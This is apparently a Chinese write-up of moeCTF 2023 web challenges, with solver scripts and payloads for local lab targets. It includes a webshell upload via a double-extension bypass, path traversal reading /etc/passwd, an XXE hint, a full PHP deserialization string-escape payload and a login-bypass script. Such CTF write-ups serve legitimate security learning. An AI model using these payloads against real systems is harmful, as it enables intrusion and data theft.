gas!gas!gas!

直接跑脚本

import requests

session=requests.Session()
url="http://127.0.0.1:14447"
steering_control=0
throttle=1
for i in range(10):
datas={"driver":1,"steering_control":steering_control,"throttle":throttle}
print(datas)
data=session.post(url,data=datas)
try:
re=data.text.split('<font color="red">')[1].split("</font>")[0]
except:
print(data.text)
if re.find("右")>-1:
steering_control=-1
if re.find("直行")>-1:
steering_control=0
if re.find("左")>-1:
steering_control=1
if re.find("小")>-1:
throttle=0
if re.find("保持")>-1:
throttle=1
if re.find("大")>-1:
throttle=2
print(re)

moe图床

先随机上传一个带有一句话木马的png文件

查看前端代码

发现有个upload.php

它只取第一个后缀,那我们可以试着构造1.png.php

然后蚁剑连接

meo图床

先上传一张图片,发现

调用了name参数,来存放文件。尝试是不是文件穿越

发现能读取/etc/passwd

尝试读取/flag

发现了突破口

大海捞针

/?id=1进行id爆破

了解你的座驾

先抓包

URL解码得到xml_content=XDU moeCTF Flag

可以判断为XXE漏洞

再进行URL编码

moectf{DO-Y0u-lIk3-the_xXE_VUlHuB-phP-tO_Get_Flag_@fTEr_G@Sgasgas0}

夺命十三枪

发现require_once('Hanxin.exe.php'); 直接/Hanxin.exe.php

根据代码审计,我们需要把$Spear_Owner = 'Nobody';改成MaoLei

同时我们已经知道了目前的payload是O:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flag":2:{s:5:"Chant";s:15:"夺命十三枪";s:11:"Spear_Owner";s:6:"Nobody";}

发现str_replace 猜测为字符串逃逸 逃逸部分为";s:11:"Spear_Owner";s:6:"MaoLei";}

所以payload=

?chant=di_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}

moectf{PhP_UnsErI@1_coDE-I5_w3LC0me-@Nd_yOU-shoU1D_eScAPe_from_the_filter0}

signin

assert users["admin"] == "admin"

users中存在用户名“admin”密码也为“admin”,表面上看需要传入的参数也为admin/admin。

继续分析源码可以发现eval()语句将base64.b64encode覆写为base64.b64decode

def gethash(*items):
c = 0
for item in items:
if item is None:
continue
c ^= int.from_bytes(hashlib.md5(f"{salt}[{item}]{salt}".encode()).digest(), "big") # it looks so complex! but is it safe enough?
return hex(c)[2:]
#当传入的参数items为2个时该函数等价于求两个参数的异或值并返回,所以当两个参数相等时不管该参数为何值,返回值都为0
#而传入参数有两个过滤,username不能等于“admin”,且username不能等于password,而拿到flag需要hashed值为0,怎么才能做到呢?

而传入参数有两个过滤,username不能等于“admin”,且username不能等于password,而拿到flag需要hashed值为0,怎么才能做到呢?

接下来编写脚本即可把构造的json数据base64编码五次

import requests
import base64 url = "http://localhost:64817/login"
username = "\"1\""
password = "1"
jsondata = "{\"username\":"+f"{username}"+",\"password\":"+f"{password}"+"}"
print(f"{jsondata = }")
for _ in range(5):
jsondata = base64.b64encode(str(jsondata).encode()).decode()
data = "{\"params\":\""+f"{jsondata}\""+"}"
print(f"{data = }")
req = requests.post(url=url,data=data).text
print(f"{req = }")

moectf2023 web wp的更多相关文章

  1. ISCC的 Web——WP

    比赛已经结束了,自己做出来的题也不是很多,跟大家分享一下 第一题:比较数字大小 打开连接 在里面随意输入一个值,他会提示数字太小了 那么我们输入他允许的最大值试试 他还是提示太小了 我们知道做web‘ ...

  2. 实验吧—Web——WP之 Forms

    我们先打开解题链接: 做Web题的第一步就是查看网页源代码,当然,有些网页他不会让你点击右键,那么可以在地址栏里的地址前面加上:view-source: 当然也可以打开控制台F12 我们可以看到代码里 ...

  3. 到处抄来的SUCTF2019 web wp

    0x01 EasySQL 这是一个考察堆叠注入的题目,但是这道题因为作者的过滤不够完全所以存在非预期解 非预期解 直接构造 *,1 这样构造,最后拼接的查询语句就变成了 select *,1||fla ...

  4. 2021CISCN 华南赛区WEB wp

    CISCN 华南区域赛 太菜了 我躺平了 easy_seri <?php error_reporting(0); highlight_file(__FILE__); class Test{ pu ...

  5. 2019西湖论剑web wp

    发在正文前 这应该是自己在安全圈摸爬滚打两年多以来第一次正规的ctf比赛.没解出flag,没截图,只提供了一些思路. 遥想往昔,初入大学,带着对PT的向往,一个人穿行在幽暗的图书馆,翻阅啃读一本本安全 ...

  6. 实验吧—Web——WP之 FALSE

    打开链接,点击源码按钮,我们开始分析源码: 在这源码中我们能看出 如果名字等于密码就输出:你的名字不能等于密码 如果名字的哈希值等于密码的哈希值,那么就会输出flag 这就意味着我们要上传两个值,值不 ...

  7. 实验吧—Web——WP之 Guess Next Session

    打开链接,他有给出查看原码的按钮,那么我们打开看看 在这个里面,如果GET的值等于session的就会给出flag 那么我们进行抓包改包 在输入框内随意输入一个值然后抓包 将password的值删去, ...

  8. 实验吧—Web——WP之 简单的sql注入之2

    直接打开解题连接: 既然是SQL注入,那么我们就要构造注入语句了,这个就要有耐心一个一个去尝试了 输入语句 1'and 1=1 # 和 1'and/**/1=1/**/#后 对比一下,发现是过滤掉了空 ...

  9. 实验吧—Web——WP之 上传绕过

    我们先上传一个png文件,发现他说必须上传后缀名为PHP的文件才可以,那么,我们尝试一下,PHP文件 但是他又说不被允许的文件类型 在上传绕过里最有名的的就是00截断,那么我们就先要抓包 在这里我们需 ...

  10. 实验吧—Web——WP之 猫抓老鼠

    打开解题链接后,发现他是让我们输入key提交查询就能进行下一步 题目中提示了:catch(抓的意思) 那么我们很容易就能想到是BP抓包,抓包后直接放到repeater中改包. 我们先GO一下看看有什么 ...

随机推荐

  1. delphi12 Android Edit SDK安装

    安装 delphi 12.1 后,编译 FMX Android 程序失败! 查找原因,SDK配置全是叹号! 之前用过SDK Manager.exe,直接打开即可以选择下载,但现在发现没有了,查找资料如 ...

  2. 2024 BUPT Programming Contest F

    简要题意 多测,给定一个 \(n \times n\) 矩阵,矩阵中的每一个元素的计算方式如下: 矩阵的行和列唯一决定两个整数对 \((a, b)\),矩阵第 \(a(0 \le a < n)\ ...

  3. 【一步步开发AI运动小程序】一、准备工作

    随着人工智能技术的不断发展,阿里体育等IT大厂,推出的"乐动力"."天天跳绳"AI运动APP,让云上运动会.线上运动会.健身打卡.AI体育指导等概念空前火热.那 ...

  4. MySQL 主从复制之多线程复制

    目录 一.MySQL 多线程复制的背景 二.MySQL 5.5 主从复制 1.原理 2.部署主从复制 2.1.主节点安装配置MySQL 5.5 2.2.从节点安装配置MySQL 5.5 3.检查主从库 ...

  5. vue-elementui中el-table跨页选择和v-if导致列错乱/选择框无法显示

    在vue-elementui中使用el-table,当type="selection"的时候,分页数据进行不同页跳转选择 需要这种功能的时候我们需要在el-table的标签上为每个 ...

  6. 使用SpringSecurity3实现RBAC权限管理

    1. What? 什么是权限管理? 具体可参见百度:http://baike.baidu.com/view/2108713.htm 名词备注: 数据级权限:百科内的权限管理一文解释的比较不错,但其中的 ...

  7. 前端实战之使用canvas合并图片

    最近做一个完整的系统,前端中涉及到一个推广图片的生成,其中推广图片是由一个变化的链接生成的二维码与一个固定图片拼接而成 实现demo: qrcode.png:https://images.cnblog ...

  8. python之日志记录loguru

    安装: pip install loguru 基础使用: from loguru import logger logger.debug("This is a debug...") ...

  9. 《HelloGitHub》第 104 期

    兴趣是最好的老师,HelloGitHub 让你对编程感兴趣! 简介 HelloGitHub 分享 GitHub 上有趣.入门级的开源项目. github.com/521xueweihan/HelloG ...

  10. HWS 2023 山东大学专场 决赛wp

    写在前面: 通过这次比赛,认识到了自己和高手的不足,知识面还需要拓展 1.Re ezapk 因为自己本身不是做逆向的,所以没什么经验,赛后复盘的时候解决了这道题 首先使用apktool将给出的apk文 ...